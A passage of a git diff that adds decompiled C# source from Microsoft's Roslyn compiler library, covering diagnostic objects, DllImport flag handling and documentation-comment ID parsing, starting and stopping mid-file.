Info.Descriptor; + + public override string Id => Info.MessageIdentifier; + + internal override string Category => Info.Category; + + internal sealed override int Code => Info.Code; + + public sealed override DiagnosticSeverity Severity => Info.Severity; + + public sealed override DiagnosticSeverity DefaultSeverity => Info.DefaultSeverity; + + internal sealed override bool IsEnabledByDefault => Info.Descriptor.IsEnabledByDefault; + + public override bool IsSuppressed => _isSuppressed; + + public sealed override int WarningLevel => Info.WarningLevel; + + internal override IReadOnlyList Arguments => Info.Arguments; + + public DiagnosticInfo Info + { + get + { + if (_info.Severity == (DiagnosticSeverity)(-1)) + { + return _info.GetResolvedInfo(); + } + return _info; + } + } + + internal bool HasLazyInfo + { + get + { + if (_info.Severity != (DiagnosticSeverity)(-1)) + { + return _info.Severity == (DiagnosticSeverity)(-2); + } + return true; + } + } + + internal DiagnosticInfo LazyInfo => _info; + + internal DiagnosticWithInfo(DiagnosticInfo info, Location location, bool isSuppressed = false) + { + _info = info; + _location = location; + _isSuppressed = isSuppressed; + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + return Info.GetMessage(formatProvider); + } + + public override int GetHashCode() + { + return Hash.Combine(Location.GetHashCode(), Info.GetHashCode()); + } + + public override bool Equals(Diagnostic? obj) + { + if (this == obj) + { + return true; + } + if (!(obj is DiagnosticWithInfo diagnosticWithInfo) || GetType() != diagnosticWithInfo.GetType()) + { + return false; + } + if (Location.Equals(diagnosticWithInfo._location) && Info.Equals(diagnosticWithInfo.Info)) + { + return AdditionalLocations.SequenceEqual(diagnosticWithInfo.AdditionalLocations); + } + return false; + } + + private string GetDebuggerDisplay() + { + return _info.Severity switch + { + (DiagnosticSeverity)(-1) => "Unresolved diagnostic at " + Location, + (DiagnosticSeverity)(-2) => "Void diagnostic at " + Location, + _ => ToString(), + }; + } + + internal override Diagnostic WithLocation(Location location) + { + if (location == null) + { + throw new ArgumentNullException("location"); + } + if (location != _location) + { + return new DiagnosticWithInfo(_info, location, _isSuppressed); + } + return this; + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + if (Severity != severity) + { + return new DiagnosticWithInfo(Info.GetInstanceWithSeverity(severity), _location, _isSuppressed); + } + return this; + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + if (IsSuppressed != isSuppressed) + { + return new DiagnosticWithInfo(Info, _location, isSuppressed); + } + return this; + } + + internal sealed override bool IsNotConfigurable() + { + return Info.IsNotConfigurable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DictionaryExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DictionaryExtensions.cs new file mode 100644 index 0000000..1a5cc93 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DictionaryExtensions.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis; + +internal static class DictionaryExtensions +{ + public static TValue GetOrAdd(this Dictionary dictionary, TKey key, TValue value) where TKey : notnull + { + if (dictionary.TryGetValue(key, out TValue value2)) + { + return value2; + } + dictionary.Add(key, value); + return value; + } + + public static bool TryAdd(this Dictionary dictionary, TKey key, TValue value) where TKey : notnull + { + if (dictionary.TryGetValue(key, out TValue _)) + { + return false; + } + dictionary.Add(key, value); + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DllImportData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DllImportData.cs new file mode 100644 index 0000000..2840f5f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DllImportData.cs @@ -0,0 +1,106 @@ +using System.Reflection; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class DllImportData : IPlatformInvokeInformation +{ + private readonly string? _moduleName; + + private readonly string? _entryPointName; + + private readonly MethodImportAttributes _flags; + + public string? ModuleName => _moduleName; + + public string? EntryPointName => _entryPointName; + + MethodImportAttributes IPlatformInvokeInformation.Flags => _flags; + + public bool ExactSpelling => (_flags & MethodImportAttributes.ExactSpelling) != 0; + + public CharSet CharacterSet => (_flags & MethodImportAttributes.CharSetAuto) switch + { + MethodImportAttributes.CharSetAnsi => CharSet.Ansi, + MethodImportAttributes.CharSetUnicode => CharSet.Unicode, + MethodImportAttributes.CharSetAuto => CharSet.Auto, + MethodImportAttributes.None => CharSet.None, + _ => throw ExceptionUtilities.UnexpectedValue(_flags), + }; + + public bool SetLastError => (_flags & MethodImportAttributes.SetLastError) != 0; + + public System.Runtime.InteropServices.CallingConvention CallingConvention => (_flags & MethodImportAttributes.CallingConventionMask) switch + { + MethodImportAttributes.CallingConventionCDecl => System.Runtime.InteropServices.CallingConvention.Cdecl, + MethodImportAttributes.CallingConventionStdCall => System.Runtime.InteropServices.CallingConvention.StdCall, + MethodImportAttributes.CallingConventionThisCall => System.Runtime.InteropServices.CallingConvention.ThisCall, + MethodImportAttributes.CallingConventionFastCall => System.Runtime.InteropServices.CallingConvention.FastCall, + _ => System.Runtime.InteropServices.CallingConvention.Winapi, + }; + + public bool? BestFitMapping => (_flags & MethodImportAttributes.BestFitMappingMask) switch + { + MethodImportAttributes.BestFitMappingEnable => true, + MethodImportAttributes.BestFitMappingDisable => false, + _ => null, + }; + + public bool? ThrowOnUnmappableCharacter => (_flags & MethodImportAttributes.ThrowOnUnmappableCharMask) switch + { + MethodImportAttributes.ThrowOnUnmappableCharEnable => true, + MethodImportAttributes.ThrowOnUnmappableCharDisable => false, + _ => null, + }; + + internal DllImportData(string? moduleName, string? entryPointName, MethodImportAttributes flags) + { + _moduleName = moduleName; + _entryPointName = entryPointName; + _flags = flags; + } + + internal static MethodImportAttributes MakeFlags(bool exactSpelling, CharSet charSet, bool setLastError, System.Runtime.InteropServices.CallingConvention callingConvention, bool? useBestFit, bool? throwOnUnmappable) + { + MethodImportAttributes methodImportAttributes = MethodImportAttributes.None; + if (exactSpelling) + { + methodImportAttributes |= MethodImportAttributes.ExactSpelling; + } + switch (charSet) + { + case CharSet.Ansi: + methodImportAttributes |= MethodImportAttributes.CharSetAnsi; + break; + case CharSet.Unicode: + methodImportAttributes |= MethodImportAttributes.CharSetUnicode; + break; + case CharSet.Auto: + methodImportAttributes |= MethodImportAttributes.CharSetAuto; + break; + } + if (setLastError) + { + methodImportAttributes |= MethodImportAttributes.SetLastError; + } + methodImportAttributes = callingConvention switch + { + System.Runtime.InteropServices.CallingConvention.Cdecl => methodImportAttributes | MethodImportAttributes.CallingConventionCDecl, + System.Runtime.InteropServices.CallingConvention.StdCall => methodImportAttributes | MethodImportAttributes.CallingConventionStdCall, + System.Runtime.InteropServices.CallingConvention.ThisCall => methodImportAttributes | MethodImportAttributes.CallingConventionThisCall, + System.Runtime.InteropServices.CallingConvention.FastCall => methodImportAttributes | MethodImportAttributes.CallingConventionFastCall, + _ => methodImportAttributes | MethodImportAttributes.CallingConventionWinApi, + }; + if (throwOnUnmappable.HasValue) + { + methodImportAttributes = ((!throwOnUnmappable.Value) ? (methodImportAttributes | MethodImportAttributes.ThrowOnUnmappableCharDisable) : (methodImportAttributes | MethodImportAttributes.ThrowOnUnmappableCharEnable)); + } + if (useBestFit.HasValue) + { + methodImportAttributes = ((!useBestFit.Value) ? (methodImportAttributes | MethodImportAttributes.BestFitMappingDisable) : (methodImportAttributes | MethodImportAttributes.BestFitMappingEnable)); + } + return methodImportAttributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentId.cs new file mode 100644 index 0000000..086d284 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentId.cs @@ -0,0 +1,1311 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +public static class DocumentationCommentId +{ + private class ListPool : ObjectPool> + { + public ListPool() + : base((ObjectPool>.Factory)(() => new List(10)), 10, true) + { + } + + public void ClearAndFree(List list) + { + list.Clear(); + base.Free(list); + } + + [Obsolete("Do not use Free, Use ClearAndFree instead.", true)] + public new void Free(List list) + { + throw new NotSupportedException(); + } + } + + private class DeclarationGenerator : SymbolVisitor + { + private class Generator : SymbolVisitor + { + private readonly StringBuilder _builder; + + private ReferenceGenerator? _referenceGenerator; + + public Generator(StringBuilder builder) + { + _builder = builder; + } + + private ReferenceGenerator GetReferenceGenerator(ISymbol typeParameterContext) + { + if (_referenceGenerator == null || _referenceGenerator.TypeParameterContext != typeParameterContext) + { + _referenceGenerator = new ReferenceGenerator(_builder, typeParameterContext); + } + return _referenceGenerator; + } + + public override bool DefaultVisit(ISymbol symbol) + { + throw new InvalidOperationException("Cannot generated a documentation comment id for symbol."); + } + + public override bool VisitEvent(IEventSymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + _builder.Append(EncodeName(symbol.Name)); + return true; + } + + public override bool VisitField(IFieldSymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + _builder.Append(EncodeName(symbol.Name)); + return true; + } + + public override bool VisitProperty(IPropertySymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + string name = EncodePropertyName(symbol.Name); + _builder.Append(EncodeName(name)); + AppendParameters(symbol.Parameters); + return true; + } + + public override bool VisitMethod(IMethodSymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + _builder.Append(EncodeName(symbol.Name)); + } + if (symbol.TypeParameters.Length > 0) + { + _builder.Append("``"); + _builder.Append(symbol.TypeParameters.Length); + } + AppendParameters(symbol.Parameters); + if (!symbol.ReturnsVoid) + { + _builder.Append("~"); + GetReferenceGenerator(symbol).Visit(symbol.ReturnType); + } + return true; + } + + private void AppendParameters(ImmutableArray parameters) + { + if (parameters.Length <= 0) + { + return; + } + _builder.Append("("); + int i = 0; + for (int length = parameters.Length; i < length; i++) + { + if (i > 0) + { + _builder.Append(","); + } + IParameterSymbol parameterSymbol = parameters[i]; + GetReferenceGenerator(parameterSymbol.ContainingSymbol).Visit(parameterSymbol.Type); + if (parameterSymbol.RefKind != RefKind.None) + { + _builder.Append("@"); + } + } + _builder.Append(")"); + } + + public override bool VisitNamespace(INamespaceSymbol symbol) + { + if (symbol.IsGlobalNamespace) + { + return false; + } + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + _builder.Append(EncodeName(symbol.Name)); + return true; + } + + public override bool VisitNamedType(INamedTypeSymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + _builder.Append(EncodeName(symbol.Name)); + if (symbol.TypeParameters.Length > 0) + { + _builder.Append("`"); + _builder.Append(symbol.TypeParameters.Length); + } + return true; + } + } + + private readonly StringBuilder _builder; + + private readonly Generator _generator; + + public DeclarationGenerator(StringBuilder builder) + { + _builder = builder; + _generator = new Generator(builder); + } + + public override void DefaultVisit(ISymbol symbol) + { + throw new InvalidOperationException("Cannot generated a documentation comment id for symbol."); + } + + public override void VisitEvent(IEventSymbol symbol) + { + _builder.Append("E:"); + _generator.Visit(symbol); + } + + public override void VisitField(IFieldSymbol symbol) + { + _builder.Append("F:"); + _generator.Visit(symbol); + } + + public override void VisitProperty(IPropertySymbol symbol) + { + _builder.Append("P:"); + _generator.Visit(symbol); + } + + public override void VisitMethod(IMethodSymbol symbol) + { + _builder.Append("M:"); + _generator.Visit(symbol); + } + + public override void VisitNamespace(INamespaceSymbol symbol) + { + _builder.Append("N:"); + _generator.Visit(symbol); + } + + public override void VisitNamedType(INamedTypeSymbol symbol) + { + _builder.Append("T:"); + _generator.Visit(symbol); + } + } + + private class ReferenceGenerator : SymbolVisitor + { + private readonly StringBuilder _builder; + + private readonly ISymbol? _typeParameterContext; + + public ISymbol? TypeParameterContext => _typeParameterContext; + + public ReferenceGenerator(StringBuilder builder, ISymbol? typeParameterContext) + { + _builder = builder; + _typeParameterContext = typeParameterContext; + } + + private void BuildDottedName(ISymbol symbol) + { + if (Visit(symbol.ContainingSymbol)) + { + _builder.Append("."); + } + _builder.Append(EncodeName(symbol.Name)); + } + + public override bool VisitAlias(IAliasSymbol symbol) + { + return symbol.Target.Accept(this); + } + + public override bool VisitNamespace(INamespaceSymbol symbol) + { + if (symbol.IsGlobalNamespace) + { + return false; + } + BuildDottedName(symbol); + return true; + } + + public override bool VisitNamedType(INamedTypeSymbol symbol) + { + BuildDottedName(symbol); + if (symbol.IsGenericType) + { + if (symbol.OriginalDefinition == symbol) + { + _builder.Append("`"); + _builder.Append(symbol.TypeParameters.Length); + } + else if (symbol.TypeArguments.Length > 0) + { + _builder.Append("{"); + int i = 0; + for (int length = symbol.TypeArguments.Length; i < length; i++) + { + if (i > 0) + { + _builder.Append(","); + } + Visit(symbol.TypeArguments[i]); + } + _builder.Append("}"); + } + } + return true; + } + + public override bool VisitDynamicType(IDynamicTypeSymbol symbol) + { + _builder.Append("System.Object"); + return true; + } + + public override bool VisitArrayType(IArrayTypeSymbol symbol) + { + Visit(symbol.ElementType); + _builder.Append("["); + int i = 0; + for (int rank = symbol.Rank; i < rank; i++) + { + if (i > 0) + { + _builder.Append(","); + } + } + _builder.Append("]"); + return true; + } + + public override bool VisitPointerType(IPointerTypeSymbol symbol) + { + Visit(symbol.PointedAtType); + _builder.Append("*"); + return true; + } + + public override bool VisitTypeParameter(ITypeParameterSymbol symbol) + { + if (!IsInScope(symbol)) + { + new DeclarationGenerator(_builder).Visit(symbol.ContainingSymbol); + _builder.Append(":"); + } + if (symbol.DeclaringMethod != null) + { + _builder.Append("``"); + _builder.Append(symbol.Ordinal); + } + else + { + int totalTypeParameterCount = GetTotalTypeParameterCount(symbol.ContainingSymbol?.ContainingSymbol as INamedTypeSymbol); + _builder.Append("`"); + _builder.Append(totalTypeParameterCount + symbol.Ordinal); + } + return true; + } + + private bool IsInScope(ITypeParameterSymbol typeParameterSymbol) + { + ISymbol containingSymbol = typeParameterSymbol.ContainingSymbol; + for (ISymbol symbol = _typeParameterContext; symbol != null; symbol = symbol.ContainingSymbol) + { + if (symbol == containingSymbol) + { + return true; + } + } + return false; + } + } + + private static class Parser + { + [StructLayout(LayoutKind.Auto)] + private readonly struct ParameterInfo(ITypeSymbol type, bool isRefOrOut) + { + internal readonly ITypeSymbol Type = type; + + internal readonly bool IsRefOrOut = isRefOrOut; + } + + private static readonly ListPool s_parameterListPool = new ListPool(); + + private static readonly char[] s_nameDelimiters = new char[14] + { + ':', '.', '(', ')', '{', '}', '[', ']', ',', '\'', + '@', '*', '`', '~' + }; + + public static bool ParseDeclaredSymbolId(string id, Compilation compilation, List results) + { + if (id == null) + { + return false; + } + if (id.Length < 2) + { + return false; + } + int index = 0; + results.Clear(); + ParseDeclaredId(id, ref index, compilation, results); + return results.Count > 0; + } + + public static bool ParseReferencedSymbolId(string id, Compilation compilation, List results) + { + if (id == null) + { + return false; + } + int index = 0; + results.Clear(); + ParseTypeSymbol(id, ref index, compilation, null, results); + return results.Count > 0; + } + + private static void ParseDeclaredId(string id, ref int index, Compilation compilation, List results) + { + SymbolKind symbolKind; + switch (PeekNextChar(id, index)) + { + default: + return; + case 'E': + symbolKind = SymbolKind.Event; + break; + case 'F': + symbolKind = SymbolKind.Field; + break; + case 'M': + symbolKind = SymbolKind.Method; + break; + case 'N': + symbolKind = SymbolKind.Namespace; + break; + case 'P': + symbolKind = SymbolKind.Property; + break; + case 'T': + symbolKind = SymbolKind.NamedType; + break; + } + index++; + if (PeekNextChar(id, index) == ':') + { + index++; + } + List list = s_namespaceOrTypeListPool.Allocate(); + try + { + list.Add(compilation.GlobalNamespace); + string memberName; + int num; + while (true) + { + memberName = ParseName(id, ref index); + num = 0; + if (PeekNextChar(id, index) == '`') + { + index++; + if (PeekNextChar(id, index) == '`') + { + index++; + } + num = ReadNextInteger(id, ref index); + } + if (PeekNextChar(id, index) != '.') + { + break; + } + index++; + if (num > 0) + { + GetMatchingTypes(list, memberName, num, results); + } + else if (symbolKind == SymbolKind.Namespace) + { + GetMatchingNamespaces(list, memberName, results); + } + else + { + GetMatchingNamespaceOrTypes(list, memberName, results); + } + if (results.Count == 0) + { + return; + } + list.Clear(); + list.AddRange(results.OfType()); + results.Clear(); + } + switch (symbolKind) + { + case SymbolKind.Method: + GetMatchingMethods(id, ref index, list, memberName, num, compilation, results); + break; + case SymbolKind.NamedType: + GetMatchingTypes(list, memberName, num, results); + break; + case SymbolKind.Property: + GetMatchingProperties(id, ref index, list, memberName, compilation, results); + break; + case SymbolKind.Event: + GetMatchingEvents(list, memberName, results); + break; + case SymbolKind.Field: + GetMatchingFields(list, memberName, results); + break; + case SymbolKind.Namespace: + GetMatchingNamespaces(list, memberName, results); + break; + case SymbolKind.Label: + case SymbolKind.Local: + case SymbolKind.NetModule: + case SymbolKind.Parameter: + case SymbolKind.PointerType: + break; + } + } + finally + { + s_namespaceOrTypeListPool.ClearAndFree(list); + } + } + + private static ITypeSymbol? ParseTypeSymbol(string id, ref int index, Compilation compilation, ISymbol? typeParameterContext) + { + List list = s_symbolListPool.Allocate(); + try + { + ParseTypeSymbol(id, ref index, compilation, typeParameterContext, list); + if (list.Count == 0) + { + return null; + } + return (ITypeSymbol)list[0]; + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + + private static void ParseTypeSymbol(string id, ref int index, Compilation compilation, ISymbol? typeParameterContext, List results) + { + char c = PeekNextChar(id, index); + if ((c == 'M' || c == 'T') && PeekNextChar(id, index + 1) == ':') + { + List list = s_symbolListPool.Allocate(); + try + { + ParseDeclaredId(id, ref index, compilation, list); + if (list.Count == 0) + { + return; + } + if (PeekNextChar(id, index) == ':') + { + index++; + int num = index; + { + foreach (ISymbol item in list) + { + index = num; + ParseTypeSymbol(id, ref index, compilation, item, results); + } + return; + } + } + results.AddRange(list.OfType()); + return; + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + if (c == '`') + { + ParseTypeParameterSymbol(id, ref index, typeParameterContext, results); + } + else + { + ParseNamedTypeSymbol(id, ref index, compilation, typeParameterContext, results); + } + int num2 = index; + int num3 = index; + for (int i = 0; i < results.Count; i++) + { + index = num2; + ITypeSymbol typeSymbol = (ITypeSymbol)results[i]; + while (true) + { + if (PeekNextChar(id, index) == '[') + { + int rank = ParseArrayBounds(id, ref index); + typeSymbol = compilation.CreateArrayTypeSymbol(typeSymbol, rank); + continue; + } + if (PeekNextChar(id, index) != '*') + { + break; + } + index++; + typeSymbol = compilation.CreatePointerTypeSymbol(typeSymbol); + } + results[i] = typeSymbol; + num3 = index; + } + index = num3; + } + + private static void ParseTypeParameterSymbol(string id, ref int index, ISymbol? typeParameterContext, List results) + { + index++; + if (PeekNextChar(id, index) == '`') + { + index++; + int num = ReadNextInteger(id, ref index); + if (typeParameterContext is IMethodSymbol methodSymbol) + { + int length = methodSymbol.TypeParameters.Length; + if (length > 0 && num < length) + { + results.Add(methodSymbol.TypeParameters[num]); + } + } + return; + } + int n = ReadNextInteger(id, ref index); + INamedTypeSymbol namedTypeSymbol = ((typeParameterContext is IMethodSymbol methodSymbol2) ? methodSymbol2.ContainingType : (typeParameterContext as INamedTypeSymbol)); + if (namedTypeSymbol != null) + { + ITypeParameterSymbol nthTypeParameter = GetNthTypeParameter(namedTypeSymbol, n); + if (nthTypeParameter != null) + { + results.Add(nthTypeParameter); + } + } + } + + private static void ParseNamedTypeSymbol(string id, ref int index, Compilation compilation, ISymbol? typeParameterContext, List results) + { + List list = s_namespaceOrTypeListPool.Allocate(); + try + { + list.Add(compilation.GlobalNamespace); + while (true) + { + string memberName = ParseName(id, ref index); + List list2 = null; + int num = 0; + if (PeekNextChar(id, index) == '{') + { + list2 = new List(); + if (!ParseTypeArguments(id, ref index, compilation, typeParameterContext, list2)) + { + continue; + } + num = list2.Count; + } + else if (PeekNextChar(id, index) == '`') + { + index++; + num = ReadNextInteger(id, ref index); + } + if (num != 0 || PeekNextChar(id, index) != '.') + { + GetMatchingTypes(list, memberName, num, results); + if (num != 0 && list2 != null && list2.Count != 0) + { + ITypeSymbol[] typeArguments = list2.ToArray(); + for (int i = 0; i < results.Count; i++) + { + results[i] = ((INamedTypeSymbol)results[i]).Construct(typeArguments); + } + } + } + else + { + GetMatchingNamespaceOrTypes(list, memberName, results); + } + if (PeekNextChar(id, index) == '.') + { + index++; + list.Clear(); + CopyTo(results, list); + results.Clear(); + continue; + } + break; + } + } + finally + { + s_namespaceOrTypeListPool.ClearAndFree(list); + } + } + + private static int ParseArrayBounds(string id, ref int index) + { + index++; + int num = 0; + while (true) + { + if (char.IsDigit(PeekNextChar(id, index))) + { + ReadNextInteger(id, ref index); + } + if (PeekNextChar(id, index) == ':') + { + index++; + if (char.IsDigit(PeekNextChar(id, index))) + { + ReadNextInteger(id, ref index); + } + } + num++; + if (PeekNextChar(id, index) != ',') + { + break; + } + index++; + } + if (PeekNextChar(id, index) == ']') + { + index++; + } + return num; + } + + private static bool ParseTypeArguments(string id, ref int index, Compilation compilation, ISymbol? typeParameterContext, List typeArguments) + { + index++; + while (true) + { + ITypeSymbol typeSymbol = ParseTypeSymbol(id, ref index, compilation, typeParameterContext); + if (typeSymbol == null) + { + return false; + } + typeArguments.Add(typeSymbol); + if (PeekNextChar(id, index) != ',') + { + break; + } + index++; + } + if (PeekNextChar(id, index) == '}') + { + index++; + } + return true; + } + + private static void GetMatchingTypes(List containers, string memberName, int arity, List results) + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + GetMatchingTypes(containers[i], memberName, arity, results); + } + } + + private static void GetMatchingTypes(INamespaceOrTypeSymbol container, string memberName, int arity, List results) + { + ImmutableArray.Enumerator enumerator = container.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.NamedType) + { + INamedTypeSymbol namedTypeSymbol = (INamedTypeSymbol)current; + if (namedTypeSymbol.Arity == arity) + { + results.Add(namedTypeSymbol); + } + } + } + } + + private static void GetMatchingNamespaceOrTypes(List containers, string memberName, List results) + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + GetMatchingNamespaceOrTypes(containers[i], memberName, results); + } + } + + private static void GetMatchingNamespaceOrTypes(INamespaceOrTypeSymbol container, string memberName, List results) + { + ImmutableArray.Enumerator enumerator = container.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Namespace || (current.Kind == SymbolKind.NamedType && ((INamedTypeSymbol)current).Arity == 0)) + { + results.Add(current); + } + } + } + + private static void GetMatchingNamespaces(List containers, string memberName, List results) + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + GetMatchingNamespaces(containers[i], memberName, results); + } + } + + private static void GetMatchingNamespaces(INamespaceOrTypeSymbol container, string memberName, List results) + { + ImmutableArray.Enumerator enumerator = container.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Namespace) + { + results.Add(current); + } + } + } + + private static void GetMatchingMethods(string id, ref int index, List containers, string memberName, int arity, Compilation compilation, List results) + { + List list = s_parameterListPool.Allocate(); + try + { + int num = index; + int num2 = index; + int i = 0; + for (int count = containers.Count; i < count; i++) + { + ImmutableArray.Enumerator enumerator = containers[i].GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + index = num; + if (!(current is IMethodSymbol methodSymbol) || methodSymbol.Arity != arity) + { + continue; + } + list.Clear(); + if ((PeekNextChar(id, index) == '(' && !ParseParameterList(id, ref index, compilation, methodSymbol, list)) || !AllParametersMatch(methodSymbol.Parameters, list)) + { + continue; + } + if (PeekNextChar(id, index) == '~') + { + index++; + ITypeSymbol typeSymbol = ParseTypeSymbol(id, ref index, compilation, methodSymbol); + if (typeSymbol != null && methodSymbol.ReturnType.Equals(typeSymbol, SymbolEqualityComparer.CLRSignature)) + { + results.Add(methodSymbol); + num2 = index; + } + } + else + { + results.Add(methodSymbol); + num2 = index; + } + } + } + index = num2; + } + finally + { + s_parameterListPool.ClearAndFree(list); + } + } + + private static void GetMatchingProperties(string id, ref int index, List containers, string memberName, Compilation compilation, List results) + { + int num = index; + int num2 = index; + List list = null; + try + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + memberName = DecodePropertyName(memberName, compilation.Language); + ImmutableArray.Enumerator enumerator = containers[i].GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + index = num; + if (!(current is IPropertySymbol propertySymbol)) + { + continue; + } + if (PeekNextChar(id, index) == '(') + { + if (list == null) + { + list = s_parameterListPool.Allocate(); + } + else + { + list.Clear(); + } + if (ParseParameterList(id, ref index, compilation, propertySymbol.ContainingSymbol, list) && AllParametersMatch(propertySymbol.Parameters, list)) + { + results.Add(propertySymbol); + num2 = index; + } + } + else if (propertySymbol.Parameters.Length == 0) + { + results.Add(propertySymbol); + num2 = index; + } + } + } + index = num2; + } + finally + { + if (list != null) + { + s_parameterListPool.ClearAndFree(list); + } + } + } + + private static void GetMatchingFields(List containers, string memberName, List results) + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + ImmutableArray.Enumerator enumerator = containers[i].GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Field) + { + results.Add(current); + } + } + } + } + + private static void GetMatchingEvents(List containers, string memberName, List results) + { + int i = 0; + for (int count = containers.Count; i < count; i++) + { + ImmutableArray.Enumerator enumerator = containers[i].GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Event) + { + results.Add(current); + } + } + } + } + + private static bool AllParametersMatch(ImmutableArray symbolParameters, List expectedParameters) + { + if (symbolParameters.Length != expectedParameters.Count) + { + return false; + } + for (int i = 0; i < expectedParameters.Count; i++) + { + if (!ParameterMatches(symbolParameters[i], expectedParameters[i])) + { + return false; + } + } + return true; + } + + private static bool ParameterMatches(IParameterSymbol symbol, ParameterInfo parameterInfo) + { + if (symbol.RefKind == RefKind.None == parameterInfo.IsRefOrOut) + { + return false; + } + ITypeSymbol type = parameterInfo.Type; + if (type != null) + { + return symbol.Type.Equals(type, SymbolEqualityComparer.CLRSignature); + } + return false; + } + + private static ITypeParameterSymbol? GetNthTypeParameter(INamedTypeSymbol typeSymbol, int n) + { + int typeParameterCount = GetTypeParameterCount(typeSymbol.ContainingType); + if (n < typeParameterCount) + { + return GetNthTypeParameter(typeSymbol.ContainingType, n); + } + int num = n - typeParameterCount; + ImmutableArray typeParameters = typeSymbol.TypeParameters; + if (num < typeParameters.Length) + { + return typeParameters[num]; + } + return null; + } + + private static int GetTypeParameterCount(INamedTypeSymbol typeSymbol) + { + if (typeSymbol == null) + { + return 0; + } + return typeSymbol.TypeParameters.Length + GetTypeParameterCount(typeSymbol.ContainingType); + } + + private static bool ParseParameterList(string id, ref int index, Compilation compilation, ISymbol typeParameterContext, List parameters) + { + index++; + if (PeekNextChar(id, index) == ')') + { + index++; + return true; + } + ParameterInfo? parameterInfo = ParseParameter(id, ref index, compilation, typeParameterContext); + if (!parameterInfo.HasValue) + { + return false; + } + parameters.Add(parameterInfo.Value); + while (PeekNextChar(id, index) == ',') + { + index++; + parameterInfo = ParseParameter(id, ref index, compilation, typeParameterContext); + if (!parameterInfo.HasValue) + { + return false; + } + parameters.Add(parameterInfo.Value); + } + if (PeekNextChar(id, index) == ')') + { + index++; + } + return true; + } + + private static ParameterInfo? ParseParameter(string id, ref int index, Compilation compilation, ISymbol? typeParameterContext) + { + bool isRefOrOut = false; + ITypeSymbol typeSymbol = ParseTypeSymbol(id, ref index, compilation, typeParameterContext); + if (typeSymbol == null) + { + return null; + } + if (PeekNextChar(id, index) == '@') + { + index++; + isRefOrOut = true; + } + return new ParameterInfo(typeSymbol, isRefOrOut); + } + + private static char PeekNextChar(string id, int index) + { + if (index < id.Length) + { + return id[index]; + } + return '\0'; + } + + private static string ParseName(string id, ref int index) + { + int num = id.IndexOfAny(s_nameDelimiters, index); + string name; + if (num >= 0) + { + name = id.Substring(index, num - index); + index = num; + } + else + { + name = id.Substring(index); + index = id.Length; + } + return DecodeName(name); + } + + private static string DecodeName(string name) + { + if (name.IndexOf('#') >= 0) + { + return name.Replace('#', '.'); + } + return name; + } + + private static int ReadNextInteger(string id, ref int index) + { + int num = 0; + while (index < id.Length && char.IsDigit(id[index])) + { + num = num * 10 + (id[index] - 48); + index++; + } + return num; + } + + private static void CopyTo(List source, List destination) where TSource : class where TDestination : class + { + if (destination.Count + source.Count > destination.Capacity) + { + destination.Capacity = destination.Count + source.Count; + } + int i = 0; + for (int count = source.Count; i < count; i++) + { + destination.Add((TDestination)(object)source[i]); + } + } + } + + private static readonly ListPool s_symbolListPool = new ListPool(); + + private static readonly ListPool s_namespaceOrTypeListPool = new ListPool(); + + public static string CreateDeclarationId(ISymbol symbol) + { + if (symbol == null) + { + throw new ArgumentNullException("symbol"); + } + StringBuilder stringBuilder = new StringBuilder(); + new DeclarationGenerator(stringBuilder).Visit(symbol); + return stringBuilder.ToString(); + } + + public static string CreateReferenceId(ISymbol symbol) + { + if (symbol == null) + { + throw new ArgumentNullException("symbol"); + } + if (symbol is INamespaceSymbol) + { + return CreateDeclarationId(symbol); + } + StringBuilder stringBuilder = new 